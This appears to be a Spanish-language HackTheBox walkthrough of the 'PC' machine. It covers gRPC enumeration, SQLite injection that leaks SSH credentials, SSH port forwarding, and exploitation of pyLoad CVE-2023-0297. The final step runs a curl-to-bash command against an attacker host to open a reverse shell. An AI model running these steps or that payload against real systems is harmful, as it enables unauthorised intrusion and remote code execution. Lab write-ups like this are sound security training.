Post

HackTheBox - PC

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: SQL Injection, PyLoad (CVE-2023-0297), Local Port Forwarding (SSH)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina PC

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos.

  • nmap -p<Ports> -sCV <IP> -oN versiones

  • Como nos sabemos que servicio se ejecuta en el puerto 50051 consultamos sobre los servicio más comunes que ocupen este puerto.

    Nos menciona algo de gRPC por lo que usaremos grpcui

c. Configuramos el grpcui e invetigamos sobre el servicio

1
root@kali> grpcui -plaintext 10.10.11.214:50051

  • Existen tres métodos LoginUser, RegisterUser y getInfo. Después de crear un usuario y autenticarnos, recibiremos un token el cual usaremos para el método getInfo y esta petición la capturamos con Burp Suite

  • El único data que se envía es el id y al enviarlo vemos el mensaje “El administrador está trabajando duro por arreglar los errores”. Aquí podemos decir que existe una inyección SQL

    • La base de datos es sqlite

    • PayloadAllTheThings: Sqlite Injection

    • Listamos las columnas de la base de datos accounts

    • Vemos los datos de esta tabla

    • Aquí vemos un usuario sau con una credencial que es válida para el servicio SSH

d. Nos autenticamos en el servicio SSH con las credenciales sau:H[Pass]31

1
2
3
4
root@kali> ssh sau@<IP PC>
sau@10.10.11.214's password:
-bash-5.0$ whoami
sau

Escalada de Privilegios 💹

a. Al listar los puertos abiertos internamente en la máquina vemos otro puerto 8000

1
2
3
4
sau@pc:~$ netstat -nat
Proto Recv-Q Send-Q Local Address   Foreign Address   State      
tcp     0      0 127.0.0.1:8000      0.0.0.0:*        LISTEN
<SNIP> 
  • Este servicio es ejecutado por root

    1
    2
    3
    
      sau@pc:~$ ps -faux
      <SNIP>
      root  1064  0.5  1.9 1222824 76660 ? Ssl 16:48 0:53 /usr/bin/python3 /usr/local/bin/pyload
    

b. Nos traemos este puerto jugando con SSH y Local Port Forwarding

1
root@kali> ssh -L 8000:127.0.0.1:8000 sau@<IP PC>
  • Ahora ya podemos ver este servicio

  • Al buscar por vulnerabilidades en este servicio encontramos esto CVE-2023-0297, este script nos permite ejecutar comandos, no veremos el output del comando, pero, sabemos que se ejecutó, con lo que nos entablaremos una reverse shell

    1
    
      root@kali> python3 poc.py -u http://localhost:8000 -c "curl http://<tun0 IP>:4444/index.html|bash"
    

This post is licensed under CC BY 4.0 by the author.